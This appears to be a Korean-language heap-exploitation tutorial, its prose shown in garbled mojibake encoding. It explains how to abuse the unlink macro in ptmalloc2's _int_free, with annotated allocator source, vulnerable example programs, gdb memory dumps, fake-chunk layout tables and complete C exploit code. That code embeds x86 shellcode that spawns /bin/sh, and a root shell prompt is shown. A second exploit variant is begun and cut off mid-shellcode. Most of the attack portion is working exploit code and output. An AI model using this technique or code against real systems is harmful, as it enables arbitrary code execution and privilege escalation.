Wolfram Gloger's ptmalloc2 free exploit ±¸Çö -¸ñ Â÷- 1. ºÐ ¼®. 2. °á ·Ð. 3. Reference. -- 1. ºÐ ¼®. ptmalloc2ÀÇ ÃֽŹöÀüÀº 2002³â 11¿ù¿¡ ¹ßÇ¥µÇ¾ú½À´Ï´Ù. Doug LeaÀÇ malloc 2.7.x¸¦ ±â¹ÝÀ¸·Î °³¹ßµÇ¾úÀ¸¸ç, ÀÌ ÄÚµå´Â glibc-2.3.x¿¡ Æ÷ÇԵǾî ÀÖ´Ù°í ÇÕ´Ï´Ù. ÀÚ¼¼ÇÑ »çÇ×Àº °³¹ßÀÚÀÇ ÆäÀÌÁö¸¦ ÂüÁ¶ÇϽñ⠹ٶø´Ï´Ù. http://www.malloc.de/ ¿¹Àü ptmalloc ¹öÀüÀº °ú°Å glibc¿¡ Æ÷ÇԵǾî ÀÖ´Â malloc ó¸® ¹æ½Ä°ú ¸Å¿ì Èí»çÇÕ´Ï´Ù. ±×·¡¼­, free() exploit methodµµ °°½À´Ï´Ù. ÇÏÁö¸¸, ptmalloc2¿¡¼­´Â ±× ¹æ½ÄÀ» ¾à°£ ¼öÁ¤ÇÏ¿´½À´Ï´Ù. (¿¹¸¦ µé¸é, chunk_free() ÇÔ¼ö¸¦ _int_free() ÇÔ¼ö·Î º¯°æÇÏ¿´´Ù´øÁö..) ¾î·µç ºÐ¼®Çغ¸°í exploit method¸¦ ±¸ÇöÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. ¿ì¼± malloc_chunk ±¸Á¶Ã¼¸¦ È®ÀÎÇÑ ÈÄ, -- struct malloc_chunk { INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; }; -- ÀÌ ºÎºÐºÎÅÍ free() ÇÔ¼ö ó¸® ¾Ë°í¸®ÁòÀÔ´Ï´Ù. -- void _int_free(mstate av, Void_t* mem) { mchunkptr p; /* chunk corresponding to mem */ INTERNAL_SIZE_T size; /* its size */ mfastbinptr* fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ /* free(0) has no effect */ if (mem != 0) { // // memÀÌ NULLÀÌ ¾Æ´Ñ °æ¿ì, chunk ptrÀÎ memÀÇ chunkÀÎ p °ªÀ» ±¸ÇÕ´Ï´Ù. // Áï, p = ((mchunkptr)((char*)(mem) - 2*SIZE_SZ)) ¹®¹ýÀÌ µÇ´Âµ¥. // À̰ÍÀº prev_size¿Í size °ª(ÃÑ 8)ÀÌ ÀÖ´Â ÀÌÀüÀ¸·Î ptr¸¦ ¿Å±é´Ï´Ù. // p = mem2chunk(mem); // // ÀÌÁ¦ chunk pÀÇ size °ªÀ» ±¸ÇÕ´Ï´Ù. ÀÌ´Â ´ÙÀ½ ¹®¹ýÀÌ Àû¿ëµË´Ï´Ù. // size = ((p)->size & ~((0x1|0x2|0x4))) // size = chunksize(p); ... /* Consolidate other non-mmapped chunks as they arrive. */ // // ÀÌ ºÎºÐÀº unlink() ¸ÅÅ©·Î ÇÔ¼ö ¼öÇàÀ» À§ÇØ // ¹Ýµå½Ã °ÅÃÄ¾ß ÇÏ´Â if¹® ÀÔ´Ï´Ù. // ((p)->size & 0x2)ÀÇ Á¶°Ç ¹®¹ý °á°ú°¡ 0ÀÎ °æ¿ì, // else if (!chunk_is_mmapped(p)) { // // nextchunk¸¦ ±¸ÇÕ´Ï´Ù. ´ÙÀ½ ¹®¹ýÀÌ Àû¿ëµË´Ï´Ù. // nextchunk = ((mchunkptr)(((char*)(p)) + (size))) // ÇöÀç chunk size¸¦ ´õÇÏ¿© ´ÙÀ½ chunk¸¦ °¡¸®Åµ´Ï´Ù. // nextchunk = chunk_at_offset(p, size); // // À§¿Í °°Àº ¹æ¹ýÀ¸·Î ´ÙÀ½ chunkÀÇ size¸¦ ¾ò½À´Ï´Ù. // nextsize = chunksize(nextchunk); assert(nextsize > 0); // // ¸Å¿ì Áß¿äÇÑ ºÎºÐÀÔ´Ï´Ù. // ÀÌ Á¶°Ç¹®À» Åë°úÇØ¾ß ù¹øÂ° unlink()¿Í ¸¸³¯ ¼ö ÀÖ½À´Ï´Ù. // ((p)->size & 0x1) ¹®¹ýÀÇ °á°ú´Â 0À̾î¾ß ÇÕ´Ï´Ù. // (ÇÏÀ§ ºñÆ®°¡ 0ÀÎÁö °Ë»ç) // /* consolidate backward */ if (!prev_inuse(p)) { // // ÀÌÀü chunkÀÇ size¸¦ ±¸ÇÕ´Ï´Ù. // prevsize = p->prev_size; size += prevsize; // // À§¿Í °°Àº ¹æ¹ýÀ¸·Î ÀÌÀü chunk¸¦ Æ÷ÀÎÅÍÇÕ´Ï´Ù. // ((mchunkptr)(((char*)(p)) + (-prev_size))) // p = chunk_at_offset(p, -((long) prevsize)); // // ù¹øÂ° unlink ¸ÅÅ©·Î ÇÔ¼ö°¡ ½ÇÇàµË´Ï´Ù. // ¹®¹ý¿¡¼­ È®ÀÎÇÒ ¼ö ÀÖµíÀÌ ±âÁØÀÌ µÇ´Â chunkÀÇ ÀÌÀü chunk Á¤º¸¸¦ // ÂüÁ¶ÇÏ¿© º´ÇÕÀÌ ÀÌ·ç¾îÁý´Ï´Ù. // unlink(p, bck, fwd); } // // ´ÙÀ½ chunk°¡ topÀÌ ¾Æ´Ñ °æ¿ì. // if (nextchunk != av->top) { // // ÀÌ ¹®¹ýÀº ´ÙÀ½ °ø½Ä°ú °°½À´Ï´Ù. // ((nextchunk + nextsize)->size & 0x1) // °á°ú °ªÀÌ 0À̸é unlink ¸ÅÅ©·Î ÇÔ¼ö¸¦ È£ÃâÇÏ°Ô µË´Ï´Ù. // /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) { // // µÎ¹øÂ° unlink ¸ÅÅ©·Î ÇÔ¼ö°¡ ½ÇÇàµË´Ï´Ù. // ¹®¹ý¿¡¼­ È®ÀÎÇÑ ¹Ù, ±âÁØÀÌ µÇ´Â chunkÀÇ ´ÙÀ½ chunk Á¤º¸¸¦ // ÂüÁ¶ÇÏ¿© º´ÇÕÀÌ ÀÌ·ç¾îÁý´Ï´Ù. // unlink(nextchunk, bck, fwd); size += nextsize; } else clear_inuse_bit_at_offset(nextchunk, 0); ... -- À̹ø ¹®¼­¿¡¼­ °ø°ÝÇÒ ¹æ¹ýÀº Àú µÎ°¡Áö unlink ¸ÅÅ©·Î ÇÔ¼ö¸¦ ÀÌ¿ëÇÕ´Ï´Ù. ±âÁØ chunkÀÇ ÀÌÀü chunk¸¦ ÂüÁ¶ÇÏ´Â ¹æ¹ý°ú ´ÙÀ½ chunk¸¦ ÂüÁ¶ÇÏ´Â ¹æ¹ýÀÌ ´Ù¸£¹Ç·Î, µÎ°¡Áö °æ¿ì¸¦ µû·Î ¼³¸íµå¸° ÈÄ¿¡ exploit Çϵµ·Ï ÇϰڽÀ´Ï´Ù. unlink() ¸ÅÅ©·Î ÇÔ¼ö´Â °øÅëÀûÀ¸·Î ¾²´Â Doug LeaÀÇ °Í°ú °°½À´Ï´Ù. -- #define unlink(P, BK, FD) \ { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } -- ¸ÕÀú, ÀÌÀü chunk¸¦ ÂüÁ¶ÇÏ¿© º´ÇÕÇϴ ù¹øÂ° unlink ¸ÅÅ©·Î ÇÔ¼ö ¼öÇà¹ýÀ» ¿¬±¸Çغ¸µµ·Ï ÇսôÙ. °ø·«ÇÒ ¿¹Á¦ src code´Â ´ÙÀ½°ú °°½À´Ï´Ù. ÀÌ ¿¹Á¦´Â ù¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¦ ÅëÇØ exploit ÇÒ ¼ö ÀÖµµ·Ï ÀÛ¼ºµÇ¾ú½À´Ï´Ù. -- int main(int argc,char *argv[]) { char *first_chunk=(char *)malloc(16); char *second_chunk=(char *)malloc(20); strcpy(first_chunk,argv[1]); free(second_chunk); /* ** µÎ¹øÂ° chunk¸¦ freeÇÏ´Â ÀÌÀ¯´Â ù¹øÂ° chunk¸¦ freeÇÒ °æ¿ì, ** malloc_consolidate() ÇÔ¼ö ³»ÀÇ unlink() ¸ÅÅ©·Î ÇÔ¼ö¿¡ ÀÇÇØ ** º´ÇÕÀÌ Áߺ¹ ¼öÇàµÇ±â ¶§¹®ÀÔ´Ï´Ù. */ } -- ¹Ýµå½Ã ÀÛ¾÷ÇÏ°í ³Ñ¾î°¡¾ß ÇÏ´Â °ÍÀÌ Àִµ¥ ±×°ÍÀº ÇöÀç if ¹®¹ý¿¡ ÀÇÇØ checking µÇ´Â ÇöÀç chunkÀÇ Á¤º¸ÀÔ´Ï´Ù. ¿¹¸¦ µé¸é, "if(!((p)->size & 0x2))" ¹®¹ý ºÎºÐ°ú "if(!((p)->size & 0x1))" ¹®¹ý ºÎºÐÀÔ´Ï´Ù. ±×·¸°Ô µÎ¹øÀÇ if ¹®¹ýÀ» °ÅÄ¡¸é ÀÌÀü chunkÀÇ Á¤º¸¸¦ ±¸ÇÏ´Â ¹®¹ýÀ» ÁøÇàÇÒ ¼ö ÀÖ°Ô µË´Ï´Ù. ±× ´ÙÀ½¿¡´Â ÇöÀç chunkÀÇ prev_size °ªÀ» Á¶ÀÛÇØ¾ß ÇÕ´Ï´Ù. prevsize¶ó´Â º¯¼ö¿¡ ÀúÀåµÇ´Â intÇü °ªÀ» ÅëÇØ ÀÌÀü chunkÀÇ À§Ä¡¸¦ Á¤ÇÏ°Ô µË´Ï´Ù. "p = chunk_at_offset(p, -((long) prevsize));" °á±¹, ÇöÀç chunk¿¡¼­ prev_size °ªÀ» »©¼­ ÀÌÀü chunk¸¦ ±¸ÇÕ´Ï´Ù. ÀÌ·¸°Ô ÇÏ¿©, ÀÌÀü chunk À§Ä¡¸¦ pointerÇÏ´Â p°¡ unlink() ¸ÅÅ©·Î ÇÔ¼ö¿¡ ÀÇÇØ º´ÇÕÀ» ¼öÇàÇÏ°Ô µË´Ï´Ù. ±×·±µ¥ ¿©±â¼­ ÁÖÀÇÇÒ Á¡Àº °ø°ÝÀÚ°¡ pÀÇ À§Ä¡¸¦ Á¦¾îÇÒ ¼ö ÀÖ´Ù´Â Á¡ÀÔ´Ï´Ù. °á±¹, Á¶ÀÛµÈ p(°¡Â¥ chunk)¸¦ ù¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¿¡ ¼öÇàÇϵµ·Ï ³Ö¾î ÁÜÀ¸·Î½á exploitÀÌ °¡´ÉÇÏ°Ô µË´Ï´Ù. ÀÚ, ±×·³ ¼º°øÀûÀÎ exploit ¼öÇàÀ» À§ÇØ ¼³Á¤ÇؾßÇÒ °ªµéÀ» ¾ò¾îº¸µµ·Ï ÇϰڽÀ´Ï´Ù. (Âü°í·Î, ex ÇÁ·Î±×·¥Àº µÚ¿¡¼­ ¼Ò°³ÇÒ exploit codeÀÔ´Ï´Ù. ½ÃÇèÀ» À§ÇØ retaddrÀ» 0x82828282·Î ¼³Á¤ÇÏ¿´½À´Ï´Ù.) [root@test ptmalloc2]# gdb -q ex (gdb) r Starting program: /tmp/ptmalloc2/ex Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000be0 in _start () from /lib/ld-linux.so.2 (gdb) c Continuing. [New Thread 1074041472 (LWP 5756)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 1074041472 (LWP 5756)] 0x40039447 in _int_free (av=0x4003b0c0, mem=0x8049a50) at malloc.c:4149 4149 unlink(p, bck, fwd); (gdb) x/16 0x8049a48-24 0x8049a30: 0x00000000 0x00000019 0x12121212 0xffffffff 0x8049a40: 0x34343434 0xffffffff 0xfffffffc 0xfffffff8 0x8049a50: 0x56565656 0x080499a0 0x82828282 0x00000000 0x8049a60: 0x00000000 0x000015a1 0x00000000 0x00000000 (gdb) ¸ÕÀú free°¡ ¼öÇàµÇ´Â target chunk(ÇöÀç chunk) Á¤º¸¸¦ ¼³Á¤ÇØ¾ß ÇÕ´Ï´Ù. ¿©±â¼­ ¸Å¿ì Áß¿äÇÑ Á¡Àº ÇöÀç chunkÀÇ size°¡ if¹®À» µÎ¹ø °ÅÄ£´Ù´Â »ç½ÇÀÔ´Ï´Ù. ÇÊÀÚ´Â ÀÌ ºÎºÐÀ» -8(0xfffffff8)·Î ¼³Á¤ÇÏ¿´½À´Ï´Ù. ±× ÀÌÀ¯´Â ´ÙÀ½ chunk¸¦ ÂüÁ¶ÇÏ¿© ¹ß»ýÇÏ´Â µÎ¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼öÀÇ ¿µÇâ ¶§¹®ÀÔ´Ï´Ù. ¼º°øÀûÀ¸·Î ù¹øÂ° unlink() ¸ÅÅ©·Î°¡ ¼öÇàµÇ¾ú´Ù ÇÏ´õ¶óµµ ´ÙÀ½ unlink() ¸ÅÅ©·Î ÇÔ¼ö°¡ Á¶°Ç¿¡ ¸Â°ÔµÇ¾î ¼öÇàµÇ¸é exploitÀ» ½ÇÆÐÇÒ ¼ö Àֱ⠶§¹®ÀÔ´Ï´Ù. ±×·¡¼­ ù¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö¸¸ ¼öÇàµÉ ¼ö ÀÖµµ·Ï Á¶°ÇÀ» ¼³Á¤ÇØ¾ß ÇÕ´Ï´Ù. ÇöÀç chunkÀÇ À§Ä¡´Â 0x08049a48Àε¥, (gdb) x/5 0x8049a48 0x8049a48: 0xfffffffc 0xfffffff8 0x56565656 0x080499a0 ~~~~~~~~~~ 0x8049a58: 0x82828282 (gdb) size¸¦ -8·Î ¼³Á¤ÇÏ¿´À¸¹Ç·Î, ´ÙÀ½ chunkÀÇ À§Ä¡´Â 0x08049a40ÀÌ µË´Ï´Ù. (gdb) x/5 0x8049a48-8 0x8049a40: 0x34343434 0xffffffff 0xfffffffc 0xfffffff8 ~~~~~~~~~~ 0x8049a50: 0x56565656 (gdb) °á±¹, nextsize´Â 0x08049a44 ÁÖ¼Ò¿¡ ÀÖ´Â °ªÀ» "size & ~((0x1|0x2|0x4))" °ø½Ä¿¡ ÀÇÇØ °è»êµË´Ï´Ù. (¿¹Á¦: 0x08049a44 ÁÖ¼Ò¿¡ -1(0xffffffff) °ªÀÌ ÀÖÀ» ¶§, nextsizeÀÇ °á°ú °ªÀº -8ÀÌ µË´Ï´Ù.) (gdb) x/5 0x8049a48-8+4 0x8049a44: 0xffffffff 0xfffffffc 0xfffffff8 0x56565656 ~~~~~~~~~~ 0x8049a54: 0x080499a0 (gdb) ±×·¯¸é, ´ÙÀ½ if ¹®¿¡¼­ ºñ±³ÇÏ´Â "((nextchunk + nextsize)->size & 0x1)" (ÇÏÀ§ ºñÆ®°¡ 0ÀÎÁö °Ë»ç) ¹®¹ý°á°ú¿¡ ÀÇÇØ sizeÀÇ À§Ä¡´Â 0x08049a3c(-8+4)°¡ µË´Ï´Ù. (gdb) x/5 0x8049a48-8-8+4 0x8049a3c: 0xffffffff 0x34343434 0xffffffff 0xfffffffc ~~~~~~~~~~ 0x8049a4c: 0xfffffff8 (gdb) ÀÌ À§Ä¡ÀÇ °ªµé ¿ª½Ã °ø°ÝÀÚ¿¡ ÀÇÇØ Á¶À۵Ǿî¾ß ÇÕ´Ï´Ù. (µÎ¹øÂ° unlink() ¸ÅÅ©·ÎÀÇ ¼öÇà ¿©ºÎ¸¦ °áÁ¤ÇϹǷÎ) ÀÌ Á¶°Ç½ÄÀÇ °á°ú¸¦ 0À¸·Î ¸¸µé¾î ¼öÇàµÇÁö ¾Êµµ·Ï ÇÕ´Ï´Ù. (ÇÏÀ§ ºñÆ®¸¦ 1·Î ¼³Á¤ÇÔ) ¿¹Á¦: !(0xffffffff & 0x1) °á°ú´Â 0. Áö±Ý±îÁö, next chunk¿¡ ÀÇÇÑ µÎ¹øÂ° unlink() ½ÇÇàÀ» ȸÇÇÇϱâ À§ÇØ ¼³Á¤ÇÏ´Â ³»¿ëÀ» Á¤¸®Çغ¸¸é, -- +------------+------------+-----------------------------------+ | ÁÖ ¼Ò | °ª | À§Ä¡ ¼³¸í | +------------+------------+-----------------------------------+ | 0x08049a38 | dummy | (nextchunk + nextsize)->prev_size | | 0x08049a3c | 0xffffffff | (nextchunk + nextsize)->size | | 0x08049a40 | dummy | (nextchunk)->prev_size | | 0x08049a44 | 0xffffffff | (nextchunk)->size | +------------+------------+-----------------------------------+ ((nextchunk)->size & ~((0x1|0x2|0x4))) == (nextsize) (0xffffffff & ~((0x1|0x2|0x4))) = -8 (0xfffffffc) -- ÀÌ¿Í °°½À´Ï´Ù. ÇöÀç chunkÀÇ prev_size °ªÀº -4(0xfffffffc)·Î ¼³Á¤ÇÏ¿´½À´Ï´Ù. ÀÌ °ªÀº ÀÌÀü chunkÀÇ À§Ä¡¸¦ ÆÇ°¡¸§ÇÏ´Â ¸Å¿ì Áß¿äÇÑ ¿ªÇÒÀ» ÇÕ´Ï´Ù. ÇöÀç chunkÀÇ À§Ä¡ - (-4)ÀÇ °ø½ÄÀº ÇöÀç chunkÀÇ À§Ä¡¿¡¼­ +4¸¦ ÇØÁÖ´Â °á°úÀ̱⠶§¹®¿¡ À§¿¡¼­ °¡Á¤ÇÑ chunkÀÇ À§Ä¡¿¡¼­ 4¸¦ ´õÇØÁØ 0x08049a4c°¡ Á¶ÀÛµÈ ÀÌÀü chunkÀÇ À§Ä¡°¡ µË´Ï´Ù. -- +------------+------------+----------------------------------------+ | ÁÖ ¼Ò | °ª | À§Ä¡ ¼³¸í | +------------+------------+----------------------------------------+ | 0x08049a48 | 0xfffffffc | (chunk)->prev_size | | 0x08049a4c | 0xfffffff8 | (chunk)->size & (prevchunk)->prev_size | | 0x08049a50 | dummy | (prevchunk)->size | | 0x08049a54 | retloc-12 | (prevchunk)->fd | | 0x08049a58 | retaddr | (prevchunk)->bk | +------------+------------+----------------------------------------+ -- ÀÚ, Áö±Ý±îÁöÀÇ ÀÚ·áµéÀ» Åä´ë·Î exploitÀ» ÀÛ¼ºÇغ¸µµ·Ï ÇϰڽÀ´Ï´Ù. -- #include main(){ char xp_sh[]= "\x90\x90\x90\x90\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char p_pls[200]; int in_t=0; unsigned long t_v=(0xbfffffff-strlen(xp_sh)); char *ent[2]; { ent[0]=(xp_sh); ent[1]=(NULL); } memset((char *)p_pls,0,sizeof(p_pls)); *(long *)&p_pls[in_t]=0x12121212; /* (nextchunk + nextsize)->prev_size */ in_t+=4; *(long *)&p_pls[in_t]=-1; /* (nextchunk + nextsize)->size */ in_t+=4; *(long *)&p_pls[in_t]=0x34343434; /* (nextchunk)->prev_size : dummy */ in_t+=4; *(long *)&p_pls[in_t]=-1; /* (nextchunk)->size */ in_t+=4; *(long *)&p_pls[in_t]=-4; /* now chunk prev_size */ in_t+=4; *(long *)&p_pls[in_t]=-8; /* now chunk size */ in_t+=4; *(long *)&p_pls[in_t]=0x56565656; /* (prevchunk)->size : dummy */ in_t+=4; *(long *)&p_pls[in_t]=0x080499ac-12; /* prev chunk ptr & fd */ in_t+=4; *(long *)&p_pls[in_t]=(t_v); /* bk */ in_t+=4; execle("./t","t",p_pls,0,ent); } -- ¸ÕÀú, (nextchunk + nextsize)ÀÇ prev_size·Î ¼³Á¤µÉ °ªÀ» 0x12121212·Î ³Ö¾îÁÖ¾ú½À´Ï´Ù. (dummy) ±× ´ÙÀ½, (nextchunk + nextsize)ÀÇ size °ªÀ» 0xffffffff·Î ¼³Á¤ÇÏ¿´½À´Ï´Ù. (-1) ÀÌ °ª¿¡ ÀÇÇØ µÎ¹øÂ° unlink() ÇÔ¼öÀÇ ¼öÇàÀ» ÅëÇÑ Áߺ¹ º´ÇÕÀ» ¸·À» ¼ö ÀÖ½À´Ï´Ù. ±× ´ÙÀ½, 0x34343434 4byteÀÇ dummy µ¥ÀÌÅÍ ÈÄ, (nextchunk)->size °ªÀ» -1·Î ¼³Á¤ ÇÏ¿´½À´Ï´Ù. ÀÌ °ªÀº ¹®¹ýÀ» °ÅÃÄ -8ÀÌ µÇ¸ç, ¾Õ¼­ ¼³Á¤ÇÑ °ªµéÀ» ÂüÁ¶½Ã۱â À§ÇØ ¼³Á¤ÇÕ´Ï´Ù. ±× ´ÙÀ½Àº ÇöÀç chunkÀÇ °ü¸® Á¤º¸ÀÔ´Ï´Ù. ÀÌ¹Ì ¼³¸íµå¸°´ë·Î -4¸¦ ÇöÀç chunkÀÇ prev_size·Î ¼³Á¤ÇßÀ¸¸ç, -8À» ÇöÀç chunkÀÇ size·Î ¼³Á¤ÇÏ¿´½À´Ï´Ù. ±× ´ÙÀ½ ÁÖ¼Ò°ª 0x56565656 ºÎºÐÀº Á¶ÀÛµÈ ÀÌÀü chunk¸¦ À§ÇÑ dummy °ªÀÔ´Ï´Ù. Á¶ÀÛµÈ ÀÌÀü chunk´Â ÇöÀç chunk size·Î ¼³Á¤µÈ -8 ºÎºÐºÎÅÍ ½ÃÀÛÇϹǷÎ, -- +------------+------------+----------------------------------------+ | ÁÖ ¼Ò | °ª | À§Ä¡ ¼³¸í | +------------+------------+----------------------------------------+ | 0x08049a38 | 0x12121212 | (nextchunk + nextsize)->prev_size | | 0x08049a3c | 0xffffffff | (nextchunk + nextsize)->size | | 0x08049a40 | 0x34343434 | (nextchunk)->prev_size | | 0x08049a44 | 0xffffffff | (nextchunk)->size | | 0x08049a48 | 0xfffffffc | (chunk)->prev_size | +------------+------------+----------------------------------------+ Á¶ÀÛµÈ ÀÌÀü chunkÀÇ ½ÃÀۺκÐ: +------------+------------+----------------------------------------+ | 0x08049a4c | 0xfffffff8 | (chunk)->size & (prevchunk)->prev_size | | 0x08049a50 | 0x56565656 | (prevchunk)->size | | 0x08049a54 | 0x08049998 | (prevchunk)->fd : (retloc-12) | | 0x08049a58 | 0xbfffffa8 | (prevchunk)->bk : (retaddr) | +------------+------------+----------------------------------------+ -- ¼ø¼­·Î ÀúÀåµË´Ï´Ù. -- (gdb) x/x 0x080499ac 0x80499ac: 0x82828282 (gdb) x/10 0xbfffffff-86 0xbfffffa9: 0x90909000 0x900ceb90 0x90909090 0x90909090 0xbfffffb9: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffffc9: 0x5e1feb90 0x31087689 (gdb) -- ÀÌ °ªµéÀ» Åä´ë·Î ù¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö°¡ ¼öÇàµÇ¸ç, º´ÇÕ °úÁ¤ ÈÄ, »õ·Î¿î ½©ÀÌ ½ÇÇàµÇ´Â °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. -- [root@test ptmalloc2]# ./ex sh-2.05b# -- ÀÚ, ±×·³ À̹ø¿¡´Â ´ÙÀ½ chunk¸¦ ÂüÁ¶ÇÏ¿© º´ÇÕÇÏ´Â µÎ¹øÂ° unlink ¸ÅÅ©·Î ÇÔ¼ö ¼öÇà¹ýÀ» ¿¬±¸Çغ¸µµ·Ï ÇϰڽÀ´Ï´Ù. °ø·«ÇÒ ¿¹Á¦ src code´Â ´ÙÀ½°ú °°½À´Ï´Ù. -- int main(int argc,char *argv[]) { char *first_chunk=(char *)malloc(30); char *second_chunk=(char *)malloc(20); strcpy(first_chunk,argv[1]); free(second_chunk); } -- ù¹øÂ° unlink ¸ÅÅ©·Î ÇÔ¼ö ¼öÇàÀ» ÅëÇÑ º´ÇÕ°ú´Â ´Ù¸£°Ô ´Ü¼øÇϹǷÎ, ÇÊÀÚ´Â µÎ¹øÂ° unlink ¸ÅÅ©·Î¿¡ ÀÇÇÑ exploitÀ» Áñ±â´Â ÆíÀÔ´Ï´Ù. ÀÌ ¹æ½ÄÀº ´ÙÀ½ chunk¸¦ ÂüÁ¶ÇÏ¿© º´ÇÕÀÌ ÀÌ·ç¾îÁö¹Ç·Î, °ø°ÝÀÚ´Â ´ÙÀ½ chunk Á¤º¸¸¦ ¿Ïº®ÇÏ°Ô ¼³Á¤ÇÏ¿© °¡Â¥ chunk°¡ ¾ÈÀüÈ÷ º´ÇÕµÉ ¼ö ÀÖµµ·Ï ¸¸µé¾î¾ß ÇÕ´Ï´Ù. first_chunkÀÇ Å©±â¸¦ 30À¸·Î º¯°æÇÏ¿´´Âµ¥ ÀÌ´Â nextchunkÀÇ °ü¸®Á¤º¸¸¦ ¼öÁ¤À» À§ÇÑ °ªµéÀ» ÃæºÐÈ÷ ÀúÀåÇϱâ À§ÇÑ °ø°£À̶ó°í º¸½Ã¸é µË´Ï´Ù. ¶ÇÇÑ, free¸¦ µÎ¹ø ¼öÇàÇÏ´Â ¹æ¹ý°ú ÀÌÀü ¹æ¹ýó·³ second_chunk¸¸ free ÇØµµ exploitÀÌ °¡´ÉÇÕ´Ï´Ù. ÀÚ, ±×·³ ÀÌ¹Ì ºÐ¼®Çß´ø ¹®¹ýÀ» ÅëÇØ exploit Á¶°ÇÀ» ¸¸µé¾î º¸µµ·Ï ÇսôÙ. ¾Õ¼­ ÀÌÀü ¹æ¹ý¿¡¼­ µÎ¹øÂ° unlink() ½ÇÇàÀ» ÇÇÇϱâÀ§ÇØ ¸¹Àº ³ë·ÂÀ» ÇßÀ¸¹Ç·Î, ±× ¿ø¸®¸¦ ½±°Ô ÆÄ¾ÇÇÒ ¼ö ÀÖÀ» °ÍÀÔ´Ï´Ù. :-} (Âü°í·Î, ex2 ÇÁ·Î±×·¥Àº µÚ¿¡¼­ ¼Ò°³ÇÒ exploit codeÀÔ´Ï´Ù. ½ÃÇèÀ» À§ÇØ retaddrÀ» 0x82828282·Î ¼³Á¤ÇÏ¿´½À´Ï´Ù.) [root@test ptmalloc2]# gdb -q ex2 (gdb) r Starting program: /tmp/ptmalloc2/ex2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000be0 in _start () from /lib/ld-linux.so.2 (gdb) c Continuing. [New Thread 1074041472 (LWP 5766)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 1074041472 (LWP 5766)] 0x400395ee in _int_free (av=0x4003b0c0, mem=0x0) at malloc.c:4165 4165 unlink(nextchunk, bck, fwd); (gdb) x/4 0x8049a58 0x8049a58: 0x90909090 0xfffffff1 0x00000000 0x00000000 (gdb) ¸ÕÀú ÇöÀç chunk Å©±â & 0x2 Á¶°Ç ¹®¹ýÀÇ °á°ú°¡ 0ÀÎ °æ¿ì, nextchunk¸¦ ±¸ÇÏ°Ô µË´Ï´Ù. ÇöÀç chunkÀÇ ÁÖ¼Ò°ª 0x08049a58¿¡ chunk sizeÀÎ -16À» ´õÇØÁÖ¸é, ´ÙÀ½ chunkÀÇ ÁÖ¼Ò°ªÀº 0x08049a48ÀÌ µË´Ï´Ù. (gdb) x/4 0x08049a58-16 0x8049a48: 0x78787878 0xfffffff0 0x08049998 0x82828282 ~~~~~~~~~~ (gdb) ±×·¸°Ô µÇ¸é 0x08049a4c¿¡ ÀÖ´Â °ªÀÌ nextchunk->size°¡ µÇ´Âµ¥ size & ~((0x1|0x2|0x4)) ¹®¹ýÀ» Åë°úÇÏ¿© °è»êµË´Ï´Ù. (gdb) x/4 0x08049a58-16+4 0x8049a4c: 0xfffffff0 0x08049998 0x82828282 0x90909090 ~~~~~~~~~~ (gdb) ±× ÈÄ, ù¹øÂ° ((p)->size & 0x2) if ¹®¹ýÀÌ ³ª¿À´Âµ¥ ÀÌ ºÎºÐÀ» Åë°úÇÏ°Ô µÇ¸é ³ª¿À´Â µÎ¹øÂ° if ¹®¹ý ((p)->size & 0x1)¿¡¼­ ÁøÇàÀ» ¸·¾Æ¾ß ÇÕ´Ï´Ù. (ÇÏÀ§ ºñÆ®°¡ 0ÀÎÁö °Ë»ç) ±×·¡¾ß ù¹øÂ° unlink() ¸ÅÅ©·Î ÇÔ¼ö ¼öÇàÀ» ¸·À» ¼ö ÀÖ½À´Ï´Ù. (ÇÏÀ§ ºñÆ®¸¦ 1·Î ¼³Á¤) (gdb) x/4 0x08049a58+4 0x8049a5c: 0xfffffff1 0x00000000 0x00000000 0x00000000 ~~~~~~~~~~ (gdb) °á±¹, ((nextchunk + nextsize)->size & 0x1) ÇÏÀ§ ºñÆ® °Ë»ç ¹®¹ýÀ» ÅëÇØ °á°ú°¡ 0ÀÌ¸é µÎ¹øÂ° unlink ¸ÅÅ©·Î ÇÔ¼ö°¡ ½ÇÇàµË´Ï´Ù. (gdb) x/1 0x08049a58-16-16+4 0x8049a3c: 0x82828282 ~~~~~~~~~~ (gdb) °á°ú¸¦ Åä´ë·Î ÀÛ¼ºµÈ exploit code ÀÔ´Ï´Ù. -- #include main(){ char xp_sh[]= "\x90\x90\x90\x90\xeb\x0c\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 